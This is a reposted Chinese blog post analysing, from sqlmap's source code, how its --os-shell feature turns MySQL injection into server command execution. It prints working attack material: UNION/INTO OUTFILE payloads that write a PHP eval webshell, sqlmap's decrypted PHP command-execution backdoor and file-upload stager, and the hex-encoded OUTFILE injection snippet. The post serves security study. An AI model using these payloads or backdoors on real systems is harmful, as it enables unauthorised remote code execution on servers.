2024-11-16

news/2025/2/26 4:27:59/文章来源:https://www.cnblogs.com/smileleooo/p/18549299

目录
  • 前言
  • 数据库注入getshell
  • 源码分析

前言

最近详细看了@v1ll4n大佬写的几篇关于sqlmap源码分析的文章(sqlmap 内核分析)收获很多。借此机会在这里记录一下我较感兴趣的sqlmap中getshell相关部分的分析,简单从源码的角度看看sqlmap是如何通过--os-shell拿服务器shell的。

数据库注入getshell

先抛开sqlmap不谈,想要通过数据库getshell大的前提条件就是有权限并且知道相关路径,这里以最为熟知的mysql数据库为例。

利用条件:

  1. 系统变量secure_file_priv为空或者为指定路径

  2. 知道网站的绝对路径

  3. 具有文件写权限

以上这三个条件缺一不可:

第一,secure_file_priv是MySQL数据库中的一个系统变量,用于限制数据导入和导出操作。如果将secure_file_priv设置为一个特定的目录路径,则数据库中进行文件导入和导出操作时就只能对这个目录进行操作;如果设置为NULL,则表示禁止文件的导入和导出操作;如果设置为空(不是NULL)则会允许相对自由的文件操作,没有限制。

不同的系统和安装方式导致secure_file_priv的默认值也会有差异。通常情况为NULL,但有的也会指定一个默认的目录如下。

image

这个参数是不能通过sql语句直接修改的,因为它是一个只读参数。如果想要修改,则只能通过修改配置文件(windows下为my.ini,linux下为my.cnf),然后再通过重启mysql服务的方式来使它生效。

第二,知道网站的绝对路径。如果不知道绝对路径,那么菜刀这类的webshell管理工具就无法连接。

第三,具有文件的写权限。如果网站目录下面不允许写文件,那么即使是知道网站的绝对路径也没有太大的利用价值。


接下来以linux环境(ubuntu22.04/mysql5.7.42)为例,这里先把secure_file_priv的值改为空,为后面写文件提供前置条件。

image

常规的写shell方式大概如下:使用union联合查询,再配合select ... into outfile/dumpfile ...语句。

union select '<?php eval($_POST[a]);?>' into outfile '/var/www/html/test.php';
union select '<?php eval($_POST[a]);?>' into dumpfile '/var/www/html/test.php';

尝试写文件失败了,提示没有权限。

image

因为正常情况下我们并不确定mysql是否有权限在我们指定的var/www/html目录下写文件。

解决文件写入权限的问题:

尝试把/var/www/html目录权限改为777,没成功。修改文件的属主等,均没成功 。。。

折腾了很久,最终找到了解决方法:https://stackoverflow.com/questions/36391551/error-1-hy000-cant-create-write-to-file-errcode-13-permission-denied

image

原因:如果mysqld处于强制模式,那么AppArmor就会限制进程对资源的访问权限,和SELinux类似AppArmor也是Linux系统下的强制访问控制安全机制。

按照上图给出的解决方法,编辑/etc/apparmor.d/usr.sbin.mysqld文件,在文件底部的位置添加对/var/www/html目录的读写控制。

image

修改完,再重新加载AppArmor后,这次写入成功了。

image

image

手动写shell都成功后,尝试-os--shell自然也很轻易的就能拿到shell:

image

通过上面一系列的操作,可以看到想要直接通过mysql数据库写shell是比较困难的。在生产环境下这些条件几乎很难同时达成的,更何况还有SELinux/AppArmor等各种访问控制机制的阻拦。

源码分析

接下来进入正题,如果仔细看上面使用--os-shell命令输出的信息,会发现它在我们提供的网站目录下面写入了两个php文件。为什么要在目录下面写两个文件?它们都是什么,又什么作用?为了解释这些问题,看sqlmap的源码会有一个比较清晰的答案,这也是我写这文章的原因。

关于sqlmap的基本流程分析这里不做介绍了,可以参考@v1ll4n大佬写的:https://www.anquanke.com/post/id/159260

这里只针对--os-shell这部分功能的源码进行简要的分析(sqlmap版本1.8#stable)。

有关--os-shell的处理函数被定义在plugins/generic/takeover.py#Takeover.osShell里面,takeover这里还有关于oscmd,ospwd等操作系统接管功能的模块定义。

image

主要是4个步骤:

1、根据堆叠查询可用性和配置判断是否使用web方式,如果堆叠查询不可用且后端数据库管理系统是mysql,那么就采用web后门来获取。

2、获取远程临时路径。

3、尝试初始化环境。

4、执行shell操作部分,以及最后清理操作部分。

函数getRemoteTempPath的主要目的是确定并返回一个用于存储临时文件的远程路径。它会根据不同的数据库管理系统类型、操作系统类型以及相关配置选项来确定合适的临时文件存储路径。。

image

接着调用函数initEnv(web=web)进行环境初始化。当使用web后门模式(web=True)就进行web初始化操作webInit。

image

函数webInit就时核心操作了,定义在lib/takeover/web.py#Web.webInit里面。此函数用于在网站的根目录内的一个可写远程目录上写入一个后门。其中包括确定脚本语言(asp/jsp/php等),获取文件的完整路径,选择合适的上传目录,通过不同方法上传文件stager和后门文件,并进行相关的测试以确保后门能够正常执行命令。

这个函数比较长,挑重点说一下:

第一步确认应用语言:

初始化相关变量,获取所有公开的应用语言类型,存储在choices列表中;然后根据当前URL后缀确定默认语言;如果未根据URL后缀确定出来,那么Windows默认就时asp,其他均为php;或者用户输入应用语言。

image

第二步准备上传目录和文件内容:

首先准备上传目录列表directories,通过getManualDirectories函数获取手动指定的目录列表,调用getAutoDirectories函数获取自动生成的目录列表。然后使用正则表达式对路径path进行处理。

image

这里准备文件stager和后门文件内容,首先生成一个随机的后门文件名称(tmpb加随机字符串),然后分别获取后门内容和stager的内容。

image

不妨先来看看这两个文件是什么,以php脚本为例。

这两个文件无法双击直接打开,因为其中包含了一些恶意的代码,sqlmap为了防止本地的杀软把这些文件误杀了,所以进行了加密处理。

不过可以通过sqlmap提供的extra/cloak/cloak.py进行解密:python cloak.py -d -i D:\Temp\sqlmap-1.8\data\shell\backdoors\backdoor.php_

解密完的backdoor.php_如下:

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);
}else{$z=array();
}
$c=$c." 2>&1\n";
function f($n){global $z;return is_callable($n)and!in_array($n,$z);
}
if(f("system")){ob_start();system($c);$w=ob_get_clean();
}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);
}elseif(f("shell_exec")){$w=shell_exec($c);
}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();
}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);
}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);
}else{$w=0;
}
echo"<pre>$w</pre>";
?>

这段php的主要就是实现一个rce的目的。通过system,proc_open,shell_exec等可用于执行外部命令的php函数进行执行获取到的命令,绕过限制获取命令执行的结果,最后输出。

解密后的stager.php_如下:

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";
}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>

这段php实现了一个简单的文件上传功能。根据php的版本来处理上传的文件,并将文件移动到指定的目录下,最后设置上传文件的权限并反馈上传成功的信息。

第三步上传文件:

遍历上传目录列表,拼接一个完整的stager文件路径,然后调用_webFileInject将指定的文件内容注入到指定目录下。之后再通过获取文件stager页面内容来检查是否上传成功。

image

关于_webFileInject函数,它是实现注入的核心部分,通过构造合适的sql查询语句来实现文件的上传操作,最后再获取执行注入操作后的页面内容并返回。

image

通过getSQLSnippet函数获取一个针对mysql数据库write_file_limit的sql代码片段(data/procs/mysql/write_file_limit.sql),内容如下:

LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -

这里LINES TERMINATED BY 0x%HEXSTRING%部分用于设置每行数据结束的标记,用来定义行结束的格式。这部分就完全可以替换为我们的要写入的文件内容,当然是16进制编码后的。

通过调试可以清楚地看到此时的payload:

image

admin' LIMIT 0,1 INTO OUTFILE '/var/www/tmpugaur.php' LINES TERMINATED BY ...stager文件内容(16进制编码)...-- -

跳出_webFileInject函数,最后会通过获取文件stager页面内容并检查,以此来判断是否上传成功。

此时如果没有上传成功的话,就会回退到使用union查询来上传文件,调用unionWriteFile写文件。

image

针对不同的脚本语言,就需要不同的文件写入相关变量了,但写入文件的方式依然是不变的。

image

接下来就要写后门文件了,也就是实现远程代码执行的文件。

image

首先会调用webUpload函数上传后门文件,它将文件内容转换为字节流并进行流操作处理。

image

然后它会再调用_webFileStreamUpload函数完成最终的上传操作,_webFileStreamUpload上传就需要借助刚才上传的stager文件了,首先通过构造合适构造多部分表单数据,最后通过Request.getPage发送请求并上传文件。

image

如果后门没有通过webUpload函数实现上传,则会提示采用和上传stager文件相同的方法上传。

第四步执行shell操作:

当后门的url路径不为null时,就可以调用执行shell操作,它定义再lib/takeover/abstraction#Abstraction.shell里面。

image

首先判断后端的类型来确定命令执行方式,接着设置命令自动补全功能,最后进入命令输入和执行循环,不断获取用户输入的命令。执行命令有几种不同的方式,这里使用的时web后门的方式执行命令,其他先不谈。

image

函数webBackdoorRunCmd通过后门的url来执行指定的命令,然后从返回页面内容中提取命令执行输出。

image

最后执行exit退出命令后,则会删除已上传的这两个文件。

image

到这里就基本简单的分析完了,其实关于sqlmap中getshll的还有很多可聊的,包括udf啊,还有mssql等其他数据的利用方式等等,但限于篇幅的原因不在此展开了。

参考文章
https://stackoverflow.com/questions/36391551/error-1-hy000-cant-create-write-to-file-errcode-13-permission-denied
https://xz.aliyun.com/t/7942?time__1311=n4%2BxnD0DyDu73AKex05%2Bb8DOiGC7iQ8oi74D
https://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247485339&idx=1&sn=ea76ee0d56b8a95a118a60d111d48160

若有错误,欢迎指正!o( ̄▽ ̄)ブ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/840021.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AirScreen 安卓平板作为MacOS副屏

前言:对笔记本续航有刚需,不得不选MacBook。 手机用的是mate40Pro,平板用的是matepad pro 12.6干货: 参考网友的分享: https://www.bilibili.com/video/BV12A4y1d7zX/?spm_id_from=333.337.search-card.all.click 【去生态】0成本,属于安卓平板的“随航”,Mac扩展显示器…

web17([SUCTF 2019]CheckIn):

1.进入页面发现是文件上传题(CTRL+U后发现源代码无提示)--->上传包含一句话木马的.php文件(之后抓包修改filename和content-type还是不行)和.htaccess文件发现存在过滤 (1)1.php文件:illegal suffix! 一句话木马:<?php @eval($_POST[a]) ?>(2)抓包修改的记录:illega…

一个极易踩坑的例子,希望大家引以为戒

一个极易踩坑的例子,希望大家引以为戒。这是一个非常非常简单基础的例子,其实稍微有点经验的程序员都应该避免,只是有时候大意疏忽会导致各种各样的问题。前言 最近在写需求的过程中,需要返回给前端一个字段,表示账单是否结清,那么理所当然的我把这个字段命名为了isSettl…

学期:2024-2025-1 学号:20241303 《计算机基础与程序设计》第九周学习总结

作业信息这个作业属于哪个课程 <班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(如2024-2025-1计算机基础与程序设计第九周作业)这个作业的目标 <写上具体方面> 计算机科学概论(第七版)第10,11章 并完成云班课测…

Java大作业4-6次总结性BLOG

前言本次BLOG由第4到6次的大作业答题判题程序- 4、家居强电电路模拟程序- 1和家居强电电路模拟程序 -2组成,其中答题判断程序-4由前三次迭代升级而来,涉及到填空题、单选题、多选题等多种题目的存储计算和判分逻辑。家居强电电路模拟程序为新的题目集,家居强电电路模拟程序1…

对于答题判断程序-4以及家居强电电路模拟程序1-2的总结性Blog

一、前言相关知识点:1、答题判断程序-4在前面答题判断程序-3的基础上增加了更多的输入格式判断以及对于边界条件情况的处理,对于面对对象编程的概念进一步的深化了。2、家居强电电路模拟程序-1从此次的大作业开始使用了抽象类的继承,以及对于电路中相关数据的计算进行了模拟…

答题判题程序终章与家居强电电路模拟程序

题目要求1.设计实现答题程序,模拟一个小型的测试,要求输入题目信息、试卷信息、答题信息、学生信息、删除题目信息,根据输入题目信息中的标准答案判断答题的结果 家居强电电路模拟程序2.智能家居是在当下家庭中越来越流行的一种配置方案,它通过物联网技术将家中的各种设备(…

题目4 - 6 总结

一、前言 在完成题目集 4 - 6 的编程实践过程中,经历了一系列从基础数据处理到较为复杂的电路设备模拟及分析等不同层次的任务挑战,每一次的题目集都犹如一次知识与技能的深度探索之旅,不仅拓宽了知识面,更在编程思维与实践能力方面得到了显著的提升。 (一)知识点覆盖 题…

02在ubuntu18.04上面搭建python环境

一、安装python3.6 # 1、python版本 python3.6 (1)更新包列表 sudo apt-get update (2)更新已安装的包 sudo apt-get upgrade 这里会显示无法获得锁---(问题1),解决之后系统提示“您希望继续执行吗?输入y” 这个命令执行时间有点久需要耐心等待。 (3)安装python3.6 sud…

Blog-2 题目集4~6的总结

22207203-陈思思 一、 前言 (一) 第4次题目集(答题判题程序4)知识点主要是类与对象、继承与多态、集合、正则表达式、业务逻辑的处理和设计模式的初步应用等。定义了多个类,每个类都进行了封装。集合方面,使用了 Map来存储问题、考试卷和学生信息,通过键值对快速访问;使…

MySQL原理简介—1.SQL的执行流程

大纲(2426字) 1.MySQL驱动的作用 2.Java系统中的数据库连接池的作用 3.MySQL中的数据库连接池的作用 4.网络连接必须让线程来处理 5.SQL接口会负责处理接收到的SQL语句 6.查询解析器会让MySQL读懂SQL语句 7.查询优化器会选择最优的查询路径 8.调用存储引擎接口来真正执行SQL语句…